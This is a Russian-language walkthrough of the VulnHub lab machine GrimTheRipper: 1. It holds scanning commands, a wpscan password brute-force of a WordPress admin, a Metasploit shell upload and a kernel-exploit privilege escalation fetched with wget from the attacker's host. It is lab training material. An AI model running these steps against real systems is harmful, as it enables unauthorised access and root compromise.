CTF, VulnHub

Прохождение машины GrimTheRipper: 1 VulnHub.

Здравствуйте, дорогие друзья.

Машина доступна на VulnHub, для тестирования на проникновение. Эта лаборатория не так уж сложна, если у Вас есть необходимые базовые знания о взломе машин.

Уровень безопасности: Средний

Ссылка на скачивание машины: https://www.vulnhub.com/entry/grimtheripper-1,350/

Заслуга в создании этой лаборатории принадлежит Манишу Чандре. Давайте начнем и узнаем, как успешно взломать ее.

Сетевое сканирование

Я буду запускать эту машину в Virtual Box. После запуска лаборатории я использовал команду netdiscover для проверки IP-адреса виртуальной машины.

sudo netdiscover

sudo netdiscover

Оказалось, что это IP — 10.0.2.11. Теперь я запускаю агрессивное сканирование с помощью nmap.

sudo nmap -A 10.0.2.11

sudo nmap -A 10.0.2.11

По его результатам я обнаружил, что порты 22 (SSH), 80 (HTTP) открыты.

Enumeration/Перечисление

Для более подробной информации мне нужно будет начать перечисление с хост-машины. Поэтому я перейду к веб-браузеру, для изучения службы HTTP.

Я получаю изображение Кевина Харта, как показано на изображении ниже.

кевин харт

Это тупиковый путь, и я попытался дополнительно перебрать целевую машину через брутфорс директорий. Для этого воспользуюсь инструментом dirb. Это дало мне страницу с именем «index2».

sudo dirb http://10.0.2.11/

sudo dirb http://10.0.2.11/

Открыв его в браузере, я получил сообщение, что в переводе означает: «Ты потерял тупое дерьмо??» вместе с мемом.

ты потерял тупое дерьмо?

Но я почувствовал что-то подозрительное с этим изображением. Итак, я просмотрел Page Source изображения. Это дало мне подсказку, которая была прокомментирована, как показано на данном изображении ниже.

page source

На первый взгляд мне показалось, что это кодировка Base64, и я попытался расшифровать запись, как показано на изображении ниже. При первом декодировании я получаю еще одно закодированное в Base64 сообщение «Старайся больше». Поэтому я снова расшифровал его, чтобы получить двоичный код.

echo 'THpFd0f1UQXhNREU9IHRyeSBoYXJk' | base64 -d
echo 'LzEwMTAxMDE=' | base64 -d
echo 'THpFd0f1UQXhNREU9IHRyeSBoYXJk' | base64 -d echo 'LzEwMTAxMDE=' | base64 -d

Я пытался расшифровать этот двоичный код, но это было бесполезно. Далее, я попытался использовать запись как возможный каталог. Открыв его, я получил каталог wordpress, как показано на изображении ниже.

каталог wordpress

Итак, я открыл каталог wordpress, и он выглядит, как обычный сайт wordpress. При ближайшем рассмотрении я получил, что admin — это имя пользователя данного сайта wordpress.

admin - имя пользователя wordpress

Эксплуатация

Чтобы двигаться дальше, я воспользовался помощью инструмента wpscan для брутфорса в админку. Для этого я создал текстовый файл с именем «usr», добавил в него «admin» и предоставил файл rockyou.txt для извлечения пароля, как показано на изображении.

sudo wpscan --url http://10.0.2.11/1010101/wordpress/ -U usr -P /usr/share/wordlists/rockyou.txt

wpscan

По итогу брутфорса, я получил учетные данные для входа:

Имя пользователя: admin

Пароль: Password@123

Примечание. Извлеченный пароль начинается с «P», а файл rockyou.txt расположен в алфавитном порядке, поэтому его взлом занимает много времени.

Теперь, когда у меня есть учетные данные для входа, давайте загрузим оболочку через wp_admin_shell_upload в Metasploit. Сначала я, с помощью команды use, выберу эксплойт в Metasploit Framework.

После этого я выбираю IP-адрес удаленного хоста, а затем имя пользователя и пароль, которые я извлек ранее, и после этого я будем использовать команду «exploit», для запуска.

use exploit/unix/webapp/wp_admin_shell_upload
set rhosts 10.0.2.11
set username admin
set password Password@123
set targeturi /1010101/wordpress/
exploit
use exploit/unix/webapp/wp_admin_shell_upload
meterpreter

Теперь, когда у меня есть шелл meterpreter, я могу получить оболочку bash в целевой системе. Далее, я преобразовываю текущую оболочку «shell», в правильную оболочку, с помощью однострочного кода Python. Получив нужную оболочку, я запустил команду lsb_release, чтобы получить информацию о версии Linux на целевой машине. Оказалось, что это 12.04, как показано на изображении.

shell
python -c 'import pty;pty.spawn("/bin/bash")'
lsb_release -a

lsb_release -a

Повышение привилегий

Теперь, когда у меня есть версия Ubuntu, я решил повысить привилегии с помощью эксплойта ядра. Для этого я использовал searchsploit. Я выбрал эксплойт и загрузил его с помощью параметра -m команды searchsploit. После загрузки эксплойта я запустил скрипт Python, для размещения текущего каталога на порту 8000, как показано на данном изображении. Я сделал это, чтобы перенести эксплойт на целевую систему.

sudo searchsploit Ubuntu 12.04
sudo searchsploit -m 37292
sudo python -m  http.server 8000

sudo searchsploit Ubuntu 12.04
sudo python -m  http.server 8000

Теперь, когда я разместил эксплойт на HTTP-сервере, давайте загрузим его в целевую систему, с помощью команды wget. После загрузки я скомпилировал эксплойт, с помощью gcc, чтобы получить исполняемый файл, который я назвал shell. После этого, я предоставлю соответствующие привилегии файлу оболочки и выполню его, чтобы получить корневую оболочку, как показано на данном изображении.

cd /tmp
wget http://10.0.2.15:8000/37292.c
gcc 37292.c -o shell
chmod 777 shell
./shell
id


wget http://10.0.2.15:8000/37292.c

На этом все. Всем хорошего дня!